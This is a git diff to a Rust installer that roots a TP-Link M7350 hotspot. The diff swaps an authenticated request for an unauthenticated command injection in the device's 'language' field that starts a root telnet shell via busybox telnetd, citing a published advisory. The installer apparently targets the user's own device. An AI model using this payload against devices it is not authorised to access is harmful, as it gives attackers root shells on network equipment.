diff --git a/Cargo.lock b/Cargo.lock index 49f4f2c..b34c56c 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1602,7 +1602,6 @@ dependencies = [ "nusb", "reqwest", "serde", - "serde_json", "sha2", "tokio", "tokio-retry2", diff --git a/installer/Cargo.toml b/installer/Cargo.toml index edc352e..76b5562 100644 --- a/installer/Cargo.toml +++ b/installer/Cargo.toml @@ -15,7 +15,6 @@ md5 = "0.7.0" nusb = "0.1.13" reqwest = { version = "0.12.15", features = ["json"], default-features = false } serde = { version = "1.0.219", features = ["derive"] } -serde_json = "1.0.140" sha2 = "0.10.8" tokio = { version = "1.44.2", features = ["full"] } tokio-retry2 = "0.5.7" diff --git a/installer/src/main.rs b/installer/src/main.rs index effa13b..4559fbc 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -29,14 +29,6 @@ struct InstallTpLink { #[arg(long)] skip_sdcard: bool, - /// Username for TP-Link admin interface, if custom. - #[arg(long, default_value = "admin")] - username: String, - - /// Password for TP-Link admin interface, if custom. - #[arg(long, default_value = "admin")] - password: String, - /// IP address for TP-Link admin interface, if custom. #[arg(long, default_value = "192.168.0.1")] admin_ip: String, diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs index fd5bc48..701ef58 100644 --- a/installer/src/tplink.rs +++ b/installer/src/tplink.rs @@ -4,7 +4,6 @@ use std::time::Duration; use anyhow::{Context, Error}; use serde::Deserialize; -use serde_json::json; use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::net::TcpStream; use tokio::time::{sleep, timeout}; @@ -14,68 +13,31 @@ use crate::InstallTpLink; pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { let InstallTpLink { skip_sdcard, - username, - password, admin_ip, } = args; - let qcmap_auth_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_auth"); let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"); - - #[derive(Deserialize)] - struct NonceResponse { - nonce: String, - } - let client = reqwest::Client::new(); - let NonceResponse { nonce } = client - .post(&qcmap_auth_endpoint) - .body(r#"{"module":"authenticator","action":0}"#) - .send() - .await? - .error_for_status()? - .json() - .await?; - - println!("Successfully detected TP-Link M7350 v3, nonce: {nonce}"); - - let digest_md5 = md5::compute(format!("{username}:{password}:{nonce}").as_bytes()); - #[derive(Deserialize)] - struct TokenResponse { - token: String, + struct RootResponse { + result: u64, } - let TokenResponse { token } = client - .post(&qcmap_auth_endpoint) - .json(&json!({ - "module": "authenticator", - "action": 1, - "digest": format!("{:x}", digest_md5) - })) + println!("Launching telnet on the device"); + + // https://github.com/advisories/GHSA-ffwq-9r7p-3j6r + // in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132 + let RootResponse { result } = client.post(&qcmap_web_cgi_endpoint) + .body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#) .send() .await? .error_for_status()? .json() .await?; - println!("Got token: {token}"); - - for language in &["$(busybox telnetd -l /bin/sh)", "en"] { - println!("Setting language of device to {language}"); - client - .post(&qcmap_web_cgi_endpoint) - .header("Cookie", format!("tpweb_token={token}")) - .json(&json!({ - "token": token, - "module": "webServer", - "action": 1, - "language": language - })) - .send() - .await? - .error_for_status()?; + if result != 0 { + anyhow::bail!("Bad result code when trying to root device: {result}"); } println!("Connecting via telnet to {admin_ip}");